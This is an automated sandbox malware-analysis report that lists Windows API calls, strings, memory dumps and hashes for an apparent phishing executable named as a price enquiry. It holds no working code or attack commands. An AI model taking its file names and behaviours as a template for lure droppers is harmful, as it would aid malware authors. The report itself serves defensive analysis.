GetLastError.KERNEL32(?,00000000,?,00000000,?), ref: 004015ED
GetFileAttributesW.KERNELBASE(?,?,00000000,?,00000000,?), ref: 004015FD
SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Temp\Tissene,?,00000000,?), ref: 00401630

Strings

C:\Users\user\AppData\Local\Temp\Tissene, xrefs: 00401623

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID: C:\Users\user\AppData\Local\Temp\Tissene
API String ID: 3751793516-2426972289
Opcode ID: e1cda12a07d026aefaf97b09e903978d98d45e83bb48797533574c81e3e03975
Instruction ID: f9b53a9290970587256920563605d3a8fa34613ebd87cabe797d0c7397107685
Opcode Fuzzy Hash: e1cda12a07d026aefaf97b09e903978d98d45e83bb48797533574c81e3e03975
Instruction Fuzzy Hash: 9711C631904104EBCF206FA0DD449AE76B1EF14369F34493BF881B61E1D63D49419A5D

Function 10001771 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DA9
Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DAE
Part of subcall function 10001B3E: GlobalFree.KERNEL32(?), ref: 10001DB3

GlobalFree.KERNEL32(00000000), ref: 1000181C
FreeLibrary.KERNEL32(?), ref: 10001893
GlobalFree.KERNEL32(00000000), ref: 100018B8

Part of subcall function 100022A1: GlobalAlloc.KERNEL32(?,405EA210), ref: 100022D3

Part of subcall function 1000260B: GlobalAlloc.KERNEL32(?,?,?,?,00000000,?,?,?,?,100017ED,00000000), ref: 1000267D

Part of subcall function 100015CC: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001749,00000000), ref: 100015E5

Part of subcall function 1000248D: wsprintfW.USER32 ref: 100024E1
Part of subcall function 1000248D: GlobalFree.KERNEL32(?), ref: 10002559
Part of subcall function 1000248D: GlobalFree.KERNEL32(00000000), ref: 10002582

Strings

, xrefs: 10001899

Memory Dump Source

Source File: 00000000.00000002.2382298041.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2382285466.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2382311670.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2382325005.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpywsprintf
String ID:
API String ID: 1767494692-3916222277
Opcode ID: ee44118ed5f66a04bcbaddb203534a3c862fc054acfad86daf15ba6692a0e061
Instruction ID: b3d4579510dcbc356f87b8c5eb81e8e4ebd4f83f88234b59d07570181d0aa013
Opcode Fuzzy Hash: ee44118ed5f66a04bcbaddb203534a3c862fc054acfad86daf15ba6692a0e061
Instruction Fuzzy Hash: 7831BF799043459AFB10DF74DCC5BDA37E8EB043D4F058529F90AAA08EDF74A985C760

Function 00405A12 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405A30
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004031FD,1033,C:\Users\user\AppData\Local\Temp\), ref: 00405A4B

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405A17, 00405A1B
nsa, xrefs: 00405A1F

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-44229769
Opcode ID: 7292a228a83fa3ff922d64c5f727ba47b2c13c899f9c2b13fefe68a2db1948d4
Instruction ID: 95f7d282eddd658cc867a71ae78a7f6d6a22d0bd0d4c40af2882d7f7832b811b
Opcode Fuzzy Hash: 7292a228a83fa3ff922d64c5f727ba47b2c13c899f9c2b13fefe68a2db1948d4
Instruction Fuzzy Hash: 68F03676700204BBDB009F55DD45F9F77A8EBD5710F10813AE905F7190E6B0AE548B64

Function 00404F95 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsWindowVisible.USER32(?), ref: 00404FC4
CallWindowProcW.USER32(?,?,?,?), ref: 00405015

Part of subcall function 00404008: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040401A

Strings

, xrefs: 00404FA5

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: d9e9b5ae7c041b12dac160d84c9107cc66b3c7e025393d4bf5171a64b49731b5
Instruction ID: 66009aff32d7b8830e361c6277d22b8a437e9b10976337e76806f1b42b6c8603
Opcode Fuzzy Hash: d9e9b5ae7c041b12dac160d84c9107cc66b3c7e025393d4bf5171a64b49731b5
Instruction Fuzzy Hash: 7A017172100609ABDF209F11DD80A5F3A25E784318F204037FB00761D1C37A9D51DAAE

Function 004031CB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 0040600B: CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,75923420,004033B7), ref: 0040606E
Part of subcall function 0040600B: CharNextW.USER32(?,?,?,00000000), ref: 0040607D
Part of subcall function 0040600B: CharNextW.USER32(?,"C:\Users\user\Desktop\PRICE ENQUIRY - RFQ 6000073650.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,75923420,004033B7), ref: 00406082
Part of subcall function 0040600B: CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004031D7,C:\Users\user\AppData\Local\Temp\,75923420,004033B7), ref: 00406095

CreateDirectoryW.KERNELBASE(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75923420,004033B7), ref: 004031EC

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004031CC, 004031D1, 004031D7, 004031E3, 004031EB, 004031F2
1033, xrefs: 004031F3

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-2030658151
Opcode ID: 5bba806fd268ccce2495cde90ed89ee42926b4d772fe7f9e27bf52b1a3d679d8
Instruction ID: a230b304c224a04ada09734fd21535f6fc799ebba56fb899572f26a9c12bfdf8
Opcode Fuzzy Hash: 5bba806fd268ccce2495cde90ed89ee42926b4d772fe7f9e27bf52b1a3d679d8
Instruction Fuzzy Hash: B3D0A92221693131D562362A3D02FCF080C8F0A719F12C03BF805B60C2CB6C0A8208FE

Function 00406801 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9404108dc2ffa93cf9dbd592045f3814a42928f44e5f517cd318150646a2bbb9
Instruction ID: a6beba8b11f6780db01d9b07fb449380a5bf126b8b7197de7c08299569837353
Opcode Fuzzy Hash: 9404108dc2ffa93cf9dbd592045f3814a42928f44e5f517cd318150646a2bbb9
Instruction Fuzzy Hash: 32A14471E00228CBDF28CFA8C8946ADBBB1FF45305F11856ED856BB281C7785A96DF44

Function 00406A02 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbf333d6a46afa479c661894eff01412675f064c8667a178dbd89034fa802b91
Instruction ID: 30ee09c6b26f98e8194536109d7ce3e20b902e709c9d9403a9562c61d449f9ad
Opcode Fuzzy Hash: dbf333d6a46afa479c661894eff01412675f064c8667a178dbd89034fa802b91
Instruction Fuzzy Hash: 8F913470E00228CBEF28CF98C8947ADBBB1FB45305F15816AD856BB281C7785A96DF44

Function 00406718 Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 068e376bb2d48232eda5806566f84189e2cd5aae6c77d5a6e3260a5cdfbff91e
Instruction ID: b50c8aa62e1022faa0523462bc9082c254a891c8b7a0b6d235230cb6e00c602c
Opcode Fuzzy Hash: 068e376bb2d48232eda5806566f84189e2cd5aae6c77d5a6e3260a5cdfbff91e
Instruction Fuzzy Hash: D0817971D04228CFDF24CFA8C884BADBBB1FB44305F25816AD856BB281C7385A96CF54

Function 0040621D Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90f7c6b476e538f5c80f6919ee05a76f5c0a6b18d6d689b251d68ff18896e93f
Instruction ID: 91081cf311d25a809012e225b52d4c3b5f250b1ae059806297d05f5390b66a1f
Opcode Fuzzy Hash: 90f7c6b476e538f5c80f6919ee05a76f5c0a6b18d6d689b251d68ff18896e93f
Instruction Fuzzy Hash: BB817A71D04228CBEF24CFA8C8847ADBBB1FB44305F11816AD856BB2C1C7785A96DF44

Function 0040666B Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b93bd20ea5de8414a65fbfeb926355070cd3711eb5f3dddd59222d5fbdffa392
Instruction ID: 08aa30644361a6a90b4bfdee527cb0e90186f6812c849098392b6a7b032e4156
Opcode Fuzzy Hash: b93bd20ea5de8414a65fbfeb926355070cd3711eb5f3dddd59222d5fbdffa392
Instruction Fuzzy Hash: D5712571E04228CFDF24CFA8C894BADBBB1FB45305F15806AE856BB281C7385996DF54

Function 00406789 Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 544fe90661504b3f73bb457df6893ab302009ecc2b1f879340368463567d4392
Instruction ID: 4a61f6f80671d808dc41601989bb6c43c22881685a3a15352730304741b477df
Opcode Fuzzy Hash: 544fe90661504b3f73bb457df6893ab302009ecc2b1f879340368463567d4392
Instruction Fuzzy Hash: 10714771E04228CFEF24CFA8C894BADBBB1FB44305F15806AD856BB281C7785956DF54

Function 004066D5 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62b97cb57a72ce22a6d8feb282019d17567d0fea9520e3f831b09b876e97210d
Instruction ID: f5c122442136fd671463674f3a0102546b50c27f43e6df69360a8f4413a57d7a
Opcode Fuzzy Hash: 62b97cb57a72ce22a6d8feb282019d17567d0fea9520e3f831b09b876e97210d
Instruction Fuzzy Hash: 63715771E04228CBEF24CF98C884BADBBB1FB45305F15806AE856BB291C7785A56DF44

Function 00401F98 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,?), ref: 00401FC3

Part of subcall function 00405021: lstrlenW.KERNEL32(00421678,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000,?), ref: 00405059
Part of subcall function 00405021: lstrlenW.KERNEL32(004030DB,00421678,00000000,0040FE48,00000000,?,?,?,?,?,?,?,?,?,004030DB,00000000), ref: 00405069
Part of subcall function 00405021: lstrcatW.KERNEL32(00421678,004030DB,004030DB,00421678,00000000,0040FE48,00000000), ref: 0040507C
Part of subcall function 00405021: SetWindowTextW.USER32(00421678,00421678), ref: 0040508E
Part of subcall function 00405021: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004050B4
Part of subcall function 00405021: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004050CE
Part of subcall function 00405021: SendMessageW.USER32(?,00001013,?,00000000), ref: 004050DC

LoadLibraryExW.KERNEL32(00000000,?,?,00000001,?), ref: 00401FD4
FreeLibrary.KERNEL32(?,?,000000F7,?,?,?,00000001,?), ref: 00402051

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: fe19213232ace8688dfea7a26a2c0423234c152881f6c610cd99fefd0459a3f0
Instruction ID: a11216cf4d9ed69530e7a3120e2c7e0776abe0d849fb671ec08c4598754a23ed
Opcode Fuzzy Hash: fe19213232ace8688dfea7a26a2c0423234c152881f6c610cd99fefd0459a3f0
Instruction Fuzzy Hash: 2821B671904215F6CF206F95CE48ADE7AB4AB04358F70417BF611B51E0C7B98D81DA6D

Function 00401B22 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 00401B92
GlobalAlloc.KERNELBASE(?,00000804), ref: 00401BA4

Strings

Call, xrefs: 00401B49, 00401B4F, 00401B69

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000445000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000448000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374771968.000000000044B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PRICE ENQUIRY - RFQ 6000073650.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: eb400d73e199265fd33f129207d60d1555bab0231b55c6a05aeb5d3056fa6f03
Instruction ID: 0e9c0b35001f1033de5fa53c21d3cf865b558ccbe2596cbe26b498a02803ad8f
Opcode Fuzzy Hash: eb400d73e199265fd33f129207d60d1555bab0231b55c6a05aeb5d3056fa6f03
Instruction Fuzzy Hash: 32219CB2600504A7CB10EB94DE85D6EB3A4EF44318B20443BF101B72E1D77C98458F5D

Function 00402454 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402C44: RegOpenKeyExW.KERNELBASE(00000000,000000AE,00000000,00000022,00000000,?,?), ref: 00402C6C

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402483
RegEnumValueW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003), ref: 00402496
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsgBC23.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024AC

Memory Dump Source

Source File: 00000000.00000002.2374660949.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2374648188.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374674799.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2374687404.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
